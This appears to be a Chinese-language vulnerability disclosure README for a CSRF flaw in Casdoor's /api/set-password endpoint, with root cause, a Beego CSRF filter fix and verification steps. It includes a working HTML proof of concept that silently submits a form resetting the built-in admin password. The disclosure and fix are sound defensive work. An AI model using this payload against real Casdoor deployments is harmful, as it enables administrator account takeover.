摘要
/api/set-password 中的 CSRF,允许未经用户同意修改密码。影响
built-in/admin),从而导致账户接管。攻击前提条件
casdoor_session_id Cookie。/api/set-password 提交 POST 请求。概念验证
<html>
<form action="http://localhost:8000/api/set-password" method="POST">
<input name='userOwner' value='built-in' type='hidden'>
<input name='userName' value='admin' type='hidden'>
<input name='newPassword' value='hacked' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</html>
根本原因
/api/* 下改变状态的端点接受基于 Cookie 的身份验证请求,而未强制进行同源检查(Origin/Referer)或 CSRF 令牌验证。修复概述
/api/* 下基于 Cookie 的跨站 POST/PUT/DELETE/PATCH 请求。Authorization、Basic auth、客户端凭据或 accessToken)的请求,或没有浏览器会话 Cookie 的请求(典型的服务器间调用)。实现
csrf_filter.go 中实现的 routers.CSRFFilter。此过滤器:
如何集成到 Casdoor
csrf_filter.go 复制到 Casdoor 项目现有的 routers 包中。不要修改或删除此文件中的任何内容。main 内):
// Beego v1 style
beego.InsertFilter("/api/*", beego.BeforeRouter, routers.CSRFFilter)
// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)
验证
Unauthorized operation,服务器应记录 CSRF check failed 日志。Authorization 头或 accessToken 参数的跨源 API 调用应继续正常工作。仓库文件
csrf_filter.go:要复制到 Casdoor 的 routers 包中的 CSRF 过滤器。poc.html:复现 CSRF 攻击的最小页面。README.md:本文档,描述漏洞及修复步骤。参考资料
视频